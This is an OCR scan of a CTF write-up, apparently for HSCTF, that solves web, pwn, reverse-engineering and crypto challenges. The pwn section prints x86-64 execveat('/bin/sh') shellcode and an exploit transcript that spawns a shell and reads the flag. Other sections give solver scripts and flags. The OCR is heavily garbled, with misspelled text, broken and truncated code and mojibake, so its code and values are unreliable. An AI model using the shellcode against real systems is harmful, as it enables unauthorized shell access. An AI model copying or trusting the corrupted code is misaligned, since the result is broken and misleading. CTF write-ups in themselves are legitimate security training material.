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5  basebd FRE  utf8(unicodef=ED)

South China Nermal University (SCNU) was feunded in 1933, hefere which it was named Guangdeng Provineial Teacher's Cellege of ¥ianggin Universmty
Tt hecame a memher of Project 211 in 1996, after which it was constructed and supported by People' s Govermment and Ninistry of Educatien in
Guangdong Province in 2015. In 2017, SCHU became a memher of the country's “World-Class Subject” censtruction plan. South China Nermal Tniversity
provides a variety of subjects, including philesophy, economics, law, education, literature, history, science, technology, agriculture, medical,
managenent and art. Flag is HSCTF [Wovooooow_Uknow_bds3_64]. South China Normal University has more than 30 schools and colleges, and offers 84
undergraduate prograns, over 200 graduate programs, and over 100 doctoral programs. In 2017, there were 24, 8394 undergraduates, 7553 postgraduates
and 842 doctoral candidates. There are approximately 1000 long—term international students from mere than 100 countries every year. The university
haz a group of hishly qualified experts, professors and teachers. There are now 1979 full-time teachers, among which nore than a half are
postgraduates’ tuters and dectoral superviseors. At present, SCNU has dezens of State Key Laboratory and engineering research centers. The current
president iz Dr. Wang Enke.
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WPM Farnsworth WPM Frequency (Hz) Minimum volume Maximum volume Volume threshold
30 30 750 -29 -17 200
O Manual O Manual
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] #1302

Burp Suite Community Edition v2020.9.2 - Temporary Project - [m} X
3 Burp Project Intruder Repeater Window Help
Dasnboard | Target | oy | ntruder | fapeater | Seauencer | Decoder | comparer | extender | project options | user options |
Send | cancel < |v  >[v | Folow redrection Target: httpui10.10.202473:2323 7 ()
a- -
Request Response
[ Raw | Headgers | Hex
Pretty m \n Actions v \n Actions Vv
1 GET / HTTP/1.1 4 1 HTTP/1.1 307 Found ry
2 Hest: 10.10.202.173:2323 P 2 Server: nginx/1.15.7 »
3 Upgrade-Insecure-Requests: L 3 Date: Sat, 21 Nov 2020 0S:18:45 GMT
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; xE4) AppleWebKit/537.3& (KHTML, 4 Content-Type: text/html; charset=UTF-8
like Gecko) Chrome/85.0.4183.171 Safari/537.38 5 Connection: close
5 Accept: € X-Powered-By: PHP/7.2.12
text/html,application/xhtml+xml,application/xnl;q=0.9,image/avif, image/webp, image/a 7 flag: hsetf{w3lcome_t0_hscTf}
png,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 2 location: ./error.php
€ Accept-Encoding: gzip, deflate 5 Content-Length: 162
7 Accept-Language: zh-CN,zh;q=0.9 10
¢ Connection: close 11 <html>
E 12 <head>
10 <title>
d 404 Not Found
</ritle>
</head>
<body bgcolor="white">
<center>
<hl>
404 Not Found
</hl>
</center>
1s <hr>
<center>
nginx
</center>
16 </body>
17
12 </html>
. b
v v
QLHEIE omatches  (2)§0} [« |[» 0 matches
B Done 403 bytes | 4 milis

Pwn

guess



T RAT R B 1 CRARFIERI T — 1)

JH1~IDA

bss  BEEIURDUUY 202049
bss:0000000000202060
bss:0000000000202060 rounds

bss:0000000000202060

bss:0000000000202064
bss:@@@@@@@@@@2@2@64‘chance

bss:0000000000202064"

bss:0000000000202068
bss:0000000000202080

bss:000000000020208 CummumDORD nums [ 4896 ]
bss : 0000AP0RA020208nuUms N dd 1000h dup(?)

bss:0000000000202080

MR GHAE, TRA TS, e G RRA

0x80 - Ox64 = 28
28/4=7
—HiN-7

It #change=1 == 125t LL T

Ll wiew o ) H=l LR L R L L= 7 }

align 20h
public rounds
dd ?

align 28h
public nums

public chances
dd ?

L=

lleAa

I T L o T L I T L o I o el L T I I el

{

nsigned _ int64 guess()

int vi; // [rsp+dh] [rbp-Ch]
unsigned _ int6d v2; // [rsp+8h] [rbp-8h]

vZ2 = _ readfsqword(@x28u);
if ( !chances )
{
puts("GAME OVER!");
exit(0);
}
clear();
nums[rand() % 4096] = 1;
--chances;
vl = 8;

__is50c99_scanf("%d", &v1);
if (vl > 4095 )

-~

puts("Input too largel!™);
exit(-1);

}

if ( nums[vl] == 1)

{

puts("Biiiingo!\nChance++");

++rounds
++chances;
if ( rounds > 9 )
win();
¥
else
{
puts(“Wrong!");
¥

return _ readfsqword(®x28u) *~ v2;

; DATA
; gues

; DATA
; gues

; DATA
. Bues



%) csome@Csome: /mnt/d/ctfftext/hsctf — O X
[

: 2

Chance++
Ooops, vou're so lucky!

in/sh: 1: : not found
in/sh: 2: : not found
in/sh: 3: : not found
in/sh: 4: : not found
in/sh: 5: : not found

in/sh: 6: : not found

cat flag
hsctf {Just UndEEEEE33333eeeeecerF1oo0o000000ow!}

IX BN A BR A5 FE ) shellcode

s:checksec
[*] '/mnt/d/ctf/Text/HSCTF/PwnMe’

Arch: amdb64-64-|ittle
RELRO: Partial RELRO
Stack:
NX:
PIE:
RWX:

KTy e

EIDA

mainef %L

int _ cdecl main(int argc, const char **argv, const char **envp)

{

char src; //

setvbuf(stdout, @LL, 2, @LL);
setvbuf(stdin, @LL, 1, @LL);
puts("No backdoor now!");
gets(&src, OLL);

strncpy(buf, &src, @x20ull);

puts(buf);
return @;
¥

Function name Seqn
| _init_proc .init
“| sub_401020 .plt
" | _strncpy .plt
"| _puts .plt
| _gzets .plt
“| _setvbuf .plt
| _start . text

| _dl_relocate_static_pie . text




deregister_tm_clones . text
rezister_tm_clones . text
__do_globhal dters_aux . text
frame_dummy . text
main . tex
__libec_csu init . text
_ 1ibc_csu_fini . text
_term_proc . fini
strncpy exte
puts exte
__libc _start main exte
gets exter
setvbuf exte
__gnon_start__ exter
A system
Address Length Type String
‘s'| LOAD: 000 0000001C C /1ib84/1d-linux-x86-64. 50, 2
@ LOAD : QOG0 == 00000005 C zets
‘s'| LOAD: 000 00000008 C strocpy
@ LOAD : QOG0 == 00000005 C puts
‘s'| LOAD: 000 00000006 C stdin
@ LOAD : QOG0 === 00000007 C stdout
‘s'| LOAD: 000 00000008 C setvbuf
@ LOAD : Q0= Q0000012 C _ 1ibc_start_main
‘s'| LOAD: 000 00000004 C libc. 50. 6
@ LOAD : QOG0 == 0Q000000C C GLIEC 2.2.5
OF C __Zmen_start__
s’ .rodata: oooo0o1l [ Ho backdoor now!
‘s’ . eh_fram-- 00000006 C I
W& H /bin/sh
%A REIROA & FULL
A w48 2 K i%shellcode
bss PRERRAORRALRADE0 buf db 28h dup(?)

e - AAAAAAARAA AN ANDN

bufffbssEt I
% e Bk #buf I 3 H 1T shellcode
|st rncpy(buf, &src, @x20ull);

BUAE & B 327 4F N [ shellcode
B LR
http://shell-storm.org/shellcode/
» Linuw/x86-64 - execveat("/bin//sh") - 29 bytes by ZadYree, vaelio and DaShrooms

¥ %88 64 exeeveat("/bin//sh™) 29 bytes shellcode

—L[ AUTHORS
x

" krmature Technologies FAD

zdx
48 bf 2f 62 69 Ge If xdi, 0x68732f2£0e69632

2 73 68

i
54 push 15
e pop 1

49 89 40 nov 28, rdr
49 89 d2 mov 110, Tdx
0f 05 syscall

—I[ compILE
gec execveat.c —o execveat § Ni—compatible @)

wrf

#include Cstdio.h>
ib. k!

xed, Ox48, 0x99, 052, Ox48, Oxbf,
x2f, 0x2f, 0x73, 0x68, 0x57, 0x54,
0289, 0xd2, 0x0f, 0x05




B
¥ st

\xfahxd 7\ xBB \ xf el e d 4B x00N 262\ 248\ xbE
VxZEY B2\ xB9\ xbie 2 Lx2E \xT31288 x5\ kB4
xBe A9 a8 1049\ 5B\ xd2Na0E \u05

anf

int main (veid)

(tvoid (¥) (void)) se) (
return EXIT_SUCCESS;

\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf
\x2F\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54
\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05



] NORMAL [Ny unix [Jutf-8 [lpython

@) csome@Csome: /mnt/d/cti/Text/HSCTF
“No backdoor now!\n"
1 Sent 0x31 bytes:
00000000 6a 42 58 48 52 48 2f 62 69 6e 2f 2f  |jBX H-RH- /b in//
00000010 73 68 57 54 5e 49 61 61 61 [shWT I | EEE!
00000020 61 61 61 61 61 61 61 61 laaaa aaaa - @@
00000030 [« 1]
00000031
Switching to interactive mode
] Received 0x20 bytes:
00000000 6a 42 58 48 52 48 2f 62 69 6e 2f 2f  |jBX H-RH- /b in//
00000010 73 68 57 54 5e 49 49 61 61 61 [shWT I | EEE!
00000020
iBX\xfeH\x99RH\xbf/bin//shWT" |\x891\x89[\x05aa[ ] Received Ox1 bytes:
\n'

I's
] Sent 0x3 bytes:
"Is\n'
1 Received Ox2f bytes:
"bin\n’
“dev\n’
"flag. txt\n'
"lib\n'
"1ib32\n"
"lib64\n"
"ret2shel lcode\n'

cat flag. txt
] Sent Oxd bytes:
"cat flag. txt\n'
] Received 0x2b bytes:
' flag{a34d2642-6eca-45b7-a217-e67¢c0a40823c} \n'
fIig{a34d2642—6eca—45b7—3217—367003408230}

hitps:/iblog.csdn.net/weixin_450045 g




Hlinuxiz{7—T

: $ ./basebd
my cipher: zMXHz3TKzwrMnZnLysO03mJ

uYltgdotiTyJG4ml050tKYnZa4zJbMnd j9
Give me your flag!

ZMXHz3TKzawrMnZnLys03mJuYltg4otiTyJG4mI050tKYnZa4zJbMnJj9



B, A AR, FATBA A Y ZmxhZw= ,N:LUﬂaglJTbaseGMJLl P il
EANZMXHz KL TR, HAA— A, KAINSHERT-

Hexp

mainl)

cC;

while ({c= getchar()) != "\n' )

0) putchar(c —
= 90 E& c putchar(c + 32):

putchar(c) :

hitps://blog.csdn.netfweixin_45004513

zMXHz3TKzwrMnZnLys03mJduY | tqdot i TyJG4m|050tKYnZad4zJbMnd 9
mehZ3thWRmNzN|YSOSMjUyLTOdUTlthquiO5UTkyNzA42ijNjJ9
D: \PFOE\F\CM \C++ \F\CMO'] \Debug \ACM01 exe EtitF _f 21948 :_. 1= d
IEFTHRAE O,

base64fif 2

InxhZ3tkZWRmNzN1 VSO JUyLTO40TI Y j24Mi050TkyNz44Z JERN 1 T9

2h2  baseb4 FRE utfB{unicodedSEY)

flag {dedf73ea-7252-48%2-h382-9932708f 0f 62}

flag#I|F




HExeinfoPE/r#r—F

6417, HEANIDA
H%Hsecret

M Exeinfo PE - ver.0.0.6.2 by A.S.L - 1083+97 sign 2020.07.10

| File:

Entry Point : (00000640 [0o
File Offset :
lkerInfo: ;|

- Ud Ld . 9U99daanadgLas sq4a

menu
| secret

.
f|main
Fi

libkc csu init

v35
v2

v3

vi

v5

vb

v/

vE

vo

v1e
vll
vl2
vl3
vl
v1l5
v1o
vl?
v18
v19
v20
v2l
v22
v23
v24
v25
v26
v27
v28
v29
v3e
v3l
v3z2
v33
v3d

.....

oS0 msy

[NOT Win EXE - .0 - E.Femu.lhﬂe 64bit obj. Shared obj file - CPU : A |5¢,”i
Lamer Info - Help Hint -

= _ readfs
= 14;
= 16;

35;
28;

= 15;

42;
14;

= 16;

= 29;
= 60;
= 53;
= 12;
= 35;
= 46;

= 116;

= 15;
= 92;
= 56;
= 42;
= 19;
= 3;
= 20;
= 28;
= 37;
= 6;
= 19;
= 13;
= 20;
= 56;
= 6;
= 20;
= 27;
= 20;

.data:000RRRERE0202340 fake_flag

J_x

L AAAAAAAAANTIANT A

_BYIE TdKE_T1dE| 33 ]

db 48h

pu |

~Aal -

. tex
. tex
. tex
. tex



-datad i vuuuauauavLaL sl ap oin ; a

.data:0000000000202342 db 68h ; h
.data:0000000000202343 db 61h ; =
.data:0000000000202344 db 68h ; h
.data:0000000000202345 db 61h ; =
.data:0000000000202346 db 68h ; h
.data:0000000000202347 db 61h ; =
.data:0000000000202348 db 68h ; h
.data:0000000000202349 db 61h ; =
.data:000000000020234A db 68h ; h
.data:000000000020234B db 61h ; =
.data:000000000020234C db 68h ; h
.data:000000000020234D db 5Fh ; _
.data:000000000020234E db 54h ; T
.data:000000000020234F db 68h ; h
.data:0000000000202350 db 31h ; 1
.data:0000000000202351 db 73h ; s
.data:0000000000202352 db 5Fh ; _
.data:0000000000202353 db 6Sh ; i
.data:0000000000202354 db 73h ; s
.data:0000000000202355 db 5Fh ; _
.data:0000000000202356 db 61h ; a
.data:0000000000202357 db 5Fh ; _
.data:0000000000202358 db 66h ; T
.data:0000000000202359 db 34h ; 4
.data:000000000020235A db 6Bh ; k
.data:000000000020235B db 65h ; e
-data:000000000020235C db 5Fh ; _
.data:000000000020235D db 66h ; T
.data:000000000020235E db 31h ; 1
.data:000000000020235F db 61h ; a
.data:0000000000202360 db 67h ; g
.data:0000000000202360 _data ends
THHITE
for ( 1 =0; 1 <= 32; ++1 )
{

flag[i] "= *(&v2 + 1);
flag[i] "= fake flag[i];
flag[i] "= ©@x14u;

S I R | P — T T2 UL T S

kkk.txt % pwn01.py 4 maze.py easyRSA.py output 2 llLpy




, 121, 95, 181, 52, 115, 121, 95, 97, 116, 100, 95, 105, 110, 116, 51, 114, 101, 115, 116, 49, 118]

411 CRUttpbTbt8g. dotip

AHTE N2 FRZ R ST, N T4

Re_is_really_e4sy and_int3resting

Bytecode

G R
Y python 735 4T+ T34 5 pythonii %
iz H import dis ik

def fool(s):
arr = [51, 42, 67, 2, 100, 48, 94, 29, 25, 26, 9, 43, 25, 21, 53, 11, 11, 91, ©, 12, 14, 19, 122, 0, 44, 26,
58, 26, 28, 24, 50, 3, 93, 21]
if s == arr:
return True
else:
return False

def foo2(s):
arrl = list(map(ord, s))[::-1]
print(arrl)
arr2 = [74, 117, 115, 116, 84, 111, 111, 108, 109, 97, 110]
for i in range(len(arrl)):
arrl[i] ~= arr2[i % 11]
return arrl

def foo3(s):

#Hs k¥

a=1

b = -6

c = len(s) - 33
a=(a+2*c)*3+ (4*c)
b=(b+2*a)+4*c+c

return s[b:a:-1] + s[:b:-1] + s[:a + 1]

def main():
flag = input('No Flag No Entry <(_*_)>:\n')
if len(flag) == 34 and fool(foo2(foo3(flag))):
print('\nAcc3pTed: You got iT! :D')
else:
print('\nError: Unm4tched string. :/')


https://bbs.pediy.com/thread-246683.htm

def fool(s):
arr = [51, 42, 67, 2, 100, 48, 94, 29, 25, 26, 9, 43, 25, 21, 53, 11, 11, 91, ©, 12, 14, 19, 122, 0, 44, 26,
58, 26, 28, 24, 50, 3, 93, 21]
arr2 = [74, 117, 115, 116, 84, 111, 111, 108, 109, 97, 110]
for i in range(len(arr)):
arr[i] "= arr2[i % 11]
print(chr(arr[i]), end="")
if s == arr:
return True
else:
return False

21

y_0v0_1qt{galfA_d4lao}Ou_nnust_b3_

Ffoo3il A g AT i thiflag (HH AT LS —J5 i

flag{tq1_OvO_yOu_nnust_b3_A d4lao}

tgl you must be a dalao

Maze

‘*E—»?

B —T

map = [1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,1, 1, 90, @, @, 0, 0, 1, 1, 1, 1,1, 1, 0, 1, 1, 1, 1, 0, 1,
1, 1, o,

1, e, 1,

@y 1y Ly dy g dy @y Iy by dp iy @y Iy Ay @y Ay @y iy @Oy @y @Oy @y @y i, iy 1, Ay @, Ay by @y 1y @y @y ig
1, 1, 1,

1, 1, 1,1, 1, 0,0, 0,0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]
print(len(map))

def showmap():
global map
for i in range(256):
if i % 16 == 0 and 1 != @:
print()
# print(map[i],end=" ")
if map[i] == 1:
print("@", end=" ")
elif map[i] == @:
print('.', end=" ")
elif map[i] == 2:
print('#', end=" ")
print()



def isnotzreo(v8, v7):
global map
if map[16 * v8 + v7] == @:
map[16 * v8 + v7] = 2
return False
else:
return True

flag = "'
inp = "'
v8 = 13
v7 = 0

def move(c):
global flag
global v8, v7
if c == '1":
v7 += 1
if isnotzreo(v8, v7):
v7 -=1
else:
flag += ¢
# return True
elif c == 'k':
v8 -=1
if isnotzreo(v8, v7):
v8 += 1
else:
flag += ¢
# return True
elif ¢ == 'h":
v7 -=1
if isnotzreo(v8, v7):
v7 += 1
else:
flag += ¢
# return True
elif ¢ == 'j":
v8 += 1
if isnotzreo(v8, v7):
v8 -=1
else:
flag += ¢
# return True
else:
return False
c= '
while ¢ != "\n':
showmap ()
c = str(input())
move(c)
showmap ()
print(flag)

#flagl = 'flag{LLLLRRRhhhRRRRRRRRRLLLLFFFFLLLFFLFFFFTTFLLLRRRRLLFFFL}"



#print(len(flagl))
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funny_game

Je DA T —F
f| _outinimation
_getflag
|l zamelnit

i getflag
ARG T

int v1;

int v2;

int v3;

int v4;

int

int

int

int ;5 [/ [esp+
char v9; //f [e
int vie[32]; [/
int v11; // [e
int i; // [esp+BCh] [ebp-1Ch]

gmemcpy(v10, &unk 408240, sizeof(v1));
v = 0

3
1=8; 1<=31; ++1 )

*((_BYTE *)&L + i) »= vi10[i];
®(( BYTE *)&v1 + i) "= @xldu;
*((BYTE *)&v1 + i) -= 20;

}

vll = rand() % 16;

if ( hvil)
vll = 15;
setPos(43, 4);
setColor(vil);
return printf("%s", &v1);

AN EREE

[FIFENFISE PV S PN PR LY [FERE -V R ]

data:00408248 unk 4088240 db ©6Eh ;
data:008408241 db 5



data:
data:
data:
data:
data:
data:

00408242
00408243
00408244
00408245
004038246
00408247

Fpythons Nexp(I L Hexcel A, BT ETHARE)

exp

v10 = [Ox6E,0x94,0x61,0x6F,0x9B,0x71,0x9D,0x51,0x9C,0x6D,0x67,0Xx61,0x67 ,0X6E,0x9D,0x96,0x96,0x99,0Xx67 ,0X6F ,0X5C,

1data: 00408240 unk_408240

db BEh :

db
db
db
db
db
db

.data:00408241
.data:00408242
.data:00408243
.data:00408244
.data:00408245
.data:00408246
.data:00408247
.data:00408248
.data:00408249
.data:0040824A
.data:0040824B
.data:0040824C
.data:0040824D
.data:0040824E
.data:0040824F
.data:00408250
.data:00408251
.data:00408252
.data:00408253
.data:00408254
.data:00408255
.data:00408256
.data:00408257
.data:00408258
.data:00408259
.data:0040825A
.data:00408258
.data:0040825C
.data:0040825D
.data:0040825E
.data:0040825F
.data:00408260
.data:00408261
.data:00408262
.data:00408263
.data:00408264
.data:00408265
.data:00408266
.data:00408267

[=H
o
=1
o
=]

[=H
o
1=}
=

w
=

[=H
o
o

=%
(=8
o .
cooUlooo0on 0o sRFoocoloo o oo
- I
3 Le]

0x95,0x6D,0x67,0x69,0x93,0x96,0x7C,0x67,0x69,0x9C,0x85]

vl = [@ for i in range(32)]
print(len(vi1e))
for i in range(32):

vi[i] 7= v10[i]

vi[i] 7= ox14

vi[i] -= 20
print(bytes(vl).decode())

nice! !

ag{Qulte_a_funny

Proce

finished

with

-1

w w
= =5 =

[=1] (89}

=

exit

&=

94h

@@ @

ime_isnT_it}

code

PSR

1=MIDID101.FIMD{"db",D101)+2,5)

.bss:00408043
.bss:00408044
.bss:00408045
.bss:00408046
.bss:00408047
.bss:00408048
.bss:00408049
.bss:00408044

.bss:00408048
.bss:0040804C

.bss:00408040

.bss:0040804E
.bss:0040804F «
.bss:00408050
.bss:00408051
.bss:00408052
.bss:00408053
.bss:00408054
.bss:00408055
.bss:00408056
.bss:00408057
.bss:00408058
.bss:00408059
.bss: 00408054

.bss: 00408058
.bss:0040805C

.bss:00408050

.bss:0040805E
.bss:0040805F «
.bss:00408060
.bss:00408061
.bss:00408062
.bss:00408063
.bss:00408064
.bss:00408065
.bss:00408066
.bss:00408067
.bes: 00408068
.bss:00408069

0



Crypto
chc

F—F, ¥, cbe, fFAR

A, R, KPR RFEGE, (HIXAN AR @ AR R keysl A& 1] LATS I T key i — XK # 3L
B, nE R AT =

ST

from Crypto.Cipher import AES
from secret import key, flag
from base64 import bé4decode,b64encode

admin = b'{name:admin}\x00\x00\x00\x00"
plain = b'{name:f2ng}\x00\x00\x00\x00\x00"
iv = b'try it,get flag!'

enc = AES.new(key, AES.MODE_CBC, iv)
cipher = enc.encrypt(plain)
print(b64encode(cipher).decode())

# HYrjg5jJAqBqxN/8/dlayw==

assert(len(flag) == 30)
assert(flag[:5] == 'flag{')
assert(flag[-1] == '}")

new_iv = b64decode(flag[5:-1])
enc = AES.new(key, AES.MODE_CBC, new_iv)
token = enc.decrypt(cipher)

if token == admin:

print("GET FLAG! ")

print(flag)

with open('hintForXor.py', 'rb') as r, open('hintForXor', 'wb')as w:
key = b'1234567890abcdef"
enc = AES.new(key, AES.MODE_CBC, new_iv)
p = r.read()
p += b'\xe0"' * (16 - len(p) % 16)
c = enc.encrypt(p)
w.write(c)

else:
print("ERROR,not admin")



W AMEXFE, HlcbefiEat, In#plain (key AR, ivEAD
1925 S Hbase64 i1 #

TERFATTEIR GERTHTLIR ‘iv (75

Baseb4NZFEHIE L

BASZ SivREEINEX h FakeyIl&EHIE L

HYrjg5jJAqBgxN/8/dlayw==
plain = b'{name:f2ng)\x00\x00\X00\X00\X00" JgdjJAgBa ¥

F— X Snew VREIEY flagfbaseo48FEm
B FiEnew_iv

admin = b'{name:admin}\x00\x00\x00\x00"

ORISR TR, ARG 1

admin = b'{name:admin}\x00\x00\x00\x00"
plain = b'{name:f2ng}\x00\x00\x00\x00\x00"
iv = b'try it,get flag!"
key_encode st Fkeyn# J& 1% 3¢

JUES)

gy

key_encode = plain * iv

key_encode = admin * new_iv

new_iv = base64_decode(flag

M mmT LA

plain * iv = admin ” new_iv

admin ~ plain ~ iv = admin ~ admin * new_iv
admin * plain ~ iv = new_iv

flag = base64_encode(new_iv

IBPFRRATELRE FEHTNTLIE ‘iv (75) ’key f S— IR

BESZ SivRRENEX I—» Eﬁkeyﬂﬂ%ﬁﬁ’ﬂ%zl—’ BaseGA IR RAYEL

HYrje5iJAqBaxN/8/dlayw=—

plain = b'{name:f2ng}\x00\x00\x00\x00\x00"

BANEY Snew VERINET g flagfibase64 /S

EiEnew iv

admin = b'{name:admin}\x00\x00\x00\x00"

ok, JFifiSexp



admin = b'{name:admin}\x00\x00\x00\x00"
plain = b'{name:f2ng}\x00\x00\x00\x00\x00"
iv = b'try it,get flag!'

admin = list(admin

plain = list(plain

iv = list(iv

print(iv

print(bytes(iv

for i in range(16
iv[i] ~= plain[i
iv[i] 7= admin[i

print(b64encode(bytes(iv)).decode

ERPR

[116, 114, 121, 32, 105, 116, 44, 103, 101, 116, 32, 102, 108, 97, 103, 33]

it,get flag!'
dHI5IG1LEKzFme JMbbGFnIQ==
inished with exit code @

€
Xor
S TR
S AFxor.py
import os

from base64 import b64encode
from secret import flag

assert(flag.startswith(b'flag’

k1l = os.urandom(10
k2 = os.urandom(21

def xor(p,k
p = list(p
for i in range(len(p)-1
p[i] ~= k[i % len(k
return b64encode(bytes(p

with open('hintForCBC.py','rb') as r, open('cipher','wb') as w
hint = r.read
p = flag + hint
cl = xor(p, ki1
c2 = xor(p, k2
w.write(b'%s\n%s\n" % (cl, c2

fH:-cipher



cl=

iUCEVflhi4gS9YpPAB/MmZoSPDKPXSVUf4zCDgAyv3kiQBrBhgY0QoN5WAODtPJP6 U+6fXwocwTjDOUTIz0IIQuOjx51g0rwhAODtPJPbQOSKH
VES6zzD1IPjz0ITBuc/ONZF 8sNJUwbmNNDWRIfLIIRAComyT2wbxikUCbvphg+VZp993HQKyDcuJEcuXG1Vu+mGD5Vmn33cdAriNy4kRy5ch
VW76YYPIWaffDG9Hs3GOmMUOwWIRoLVd4pg419798bOUqyYe/BEaezU1UC3imDiX3v3xs5SrJh78ERp7NTVQLeKYOJfe/fGO0I4920ThAH1yE
1XXOUNy4kRy5cbVW76YYPIWaffdx0Csg3LiRHLIxtVbvphg+VZp993HQKyDcuJEcuXG1UViFvY3Fi30gsHFbNjgl0Uodg TXALjMODJRPHIIRF
d6TTdmRy3jQWGRtMU3+kRxltdP1CzNoOAbPXGhNzv2yUsyv+mQtYEuB2gosSo90dUgq7YdLbQvOKT U452/ QmRy3rm42HOwWOXJFK8pYH
JHfRf/72ZdKwaCdxrjjFkCvn3wtYEuc/0JdF 8oxZHEL2ed GPFfOKSApW53nH1krygQIMOIg4xZkct4d0MVF SxZYaPF q/WGWRQ4 TXW3wadikU
GEr9x8vxyuYFOEhrpNMqVYNK8BSh9xh Ts+mPUWOIT G4ghgpkct4 pF BhzmNNDLWOebAwcEtjXW2k7zigMRXek03ZAIne VCExK/cdGeEPLc
H1AEtWmKiUD1jESAVKVb 1td Ct9ILJHfRfO3cVr+EThwewxT gl2zYq246ccASn9BXvuVbVxK/cdbXQrmLTgZA+yHHkUOh208AUe011pFV+IRO
CxurW7nYUuSKWREa8mGThBy3mhtMOOMIWNXT 48dbVBK/bJPMEL 7IShZB5yPHkVGIzZYEvdjmrMr/pkLWBLgdoWKEa20HVIKu2HS20L z
ik1COO0Cc/0Jkct65uNhzsNMSRSYKWBYR30X/+9ImXSsGgnca44xZAr59Y SRQ+NN3aD/OKSBdL8iWb2xeji04GXe YOm810O/IpF TBulWILKUv
KdX01QpTDX1Ej5yAsMXKlhioAp

c2=

1ijSnzmvbQIxjwZoA807g6Fh6ZrOnSemSOvbBV6XTtI8RB86W2CnaMu1jbclWLcJOEygDZT hks8sVzBivs+wCvBjGLeEGtlkisSqAIUUErWnKZz
2SnDIzDrdVpOwDwT pkOovBXRnKY31SfcnCeVX01y1GRdpwlUqvFfUQupjgBjLyHLDLQhyqCFN9X406Qnv0qJj7 DyDyB7nZQgejGINmVp86
WXLmqIPyHSD30jqZBh/1DtaoxMivmXLmqIPyHSDpDqvZWQ6xGkhvRJ8hUGDms4rgHT vgHKvCUBYyxAUF 9RIQoQmD9upjgGO5jXC/aBgg0
Z9Pq0UQoQmMD9upjgBjLyHLDLQhyqCFN9X406Qnv0qJj7DyDyB7nZQgejGINmVp86WXLmqJOuk7YnTu/aBgg02hPOhZ57w6Lk61y0ifXnSS
4X0wtnzwT5R9sux7 Q3sMW3BSDqybpD1pzk2IEiE106E/yl690uk7ajmKidVpIxWtO8Rd67gGKmvMx0yDWnmWVMF Yh1GRdhGcf91fW3bo4
1T2fuQfMe3UNsBwihmAP9VDF g5gjgGSO2CHxNhYmkToPvFI48VuF nvY20yvXnWrrOIMnmnBUzyglrxmOivBOgSKAzHepYgB7xDgfpkYpvx6
5z/wwkHmTuQfMe 1Yng3EWoFtgmHzghN8c9AHsuwDce VEO3VMNIAIx+Vzdybw3 1SfBgTLfVpOwDOYpk0ovBHHxfk23m2a8kj2Ixh/1Dta9Ed
[7QyFnapgqgCXRmyb6Mx9IkTce5RIsmHzghPw2x2zYn TuzF HOR2hQygWceTmnvwhvsimU7 DymKidV0sI3cZoEE+oEnHgvBIhCDWmy37MBA
2mzlY qwtl0zZPS2e E2wjCbiHK/aAVigWIUz0M/qlzB3rojgWSOXWLgZBF ISoOoF A48UmBig9ukDGBOUIVPESiyXkf4hR/6 QPonKVriXT SmiH7 MF
5l/jwT pgJdx+Xj2+bwd1TObkyfmeXkHp3cwimY Jhnrx6b46xm25iHumdQVikTce60YpukvK2uZ70nKHnCf8Olwn3CO0Srkci8BC50PMgwyHBjGroc
IkmmTAT4glltxnDk6sp

B
len(kl) = 10
len(k2) = 21
cl,cl

g AT

iMoeF|len(cl) (len(c2))

c1[i] = k1[i % 10] ~ p[i]
c2[i] = k2[i % 21] ~ p[i]
g

€2[i] » c1[i] = k1[i % 10] ~ k2[i % 21]

k = [0 for i in range(len(cl))]
for i in range(len(cl)):
k[i] = c1[i] ~ c2[i]

ki[i % 10] ~ k2[i % 21] X MEMEIHRAKE N21007E3 5%
HT len(kl) = 10,len(k2) = 21 HZRH A LR H AT k2H 76 R S5k1[0] 5 8L E

while i <= 209:
ki1ek2[i % 21] = kn[i]
i+= 10

kiek2 = [116, 114, 121, 32, 105, 116, 44, 103, 101, 116, 32, 102, 108, 97, 103, 33]

T — %

ple] = 'f
ci[e] = ki[e] ~ 'f'



2k —
Hexp

from base64 import bé4decode,b64encode

linel = c1( k3ffcl

line2 = c2( k3fc2

cl = b64ddecode(linel
c2 b64decode(1line2

cl = list(cl
c2 list(c2

k = [@ for i in range(len(cl
for i in range(len(cl
k[i] = c1[i] » c2[1i
print(k[:210
print(k[210
print(len(k
kn = k[:210
k1ok2 = [@ for i in range(21
i=0
while i <= 209
kiek2[i % 21] = kn[i
i+= 10
print(k10k2
kley = c1[0] ~ ord("'f"'
for i in range(21
kiek2[i] 7= kley
# print(chr(k10kR2[1] ~ c2[1]))
def xor(p,k
p = list(p
for i in range(len(p)-1
p[i] ~= k[i % len(k
return bytes(p
p = xor(c2,klek2
print(p.decode

1o, 27,

171} from Cn

flag#IF
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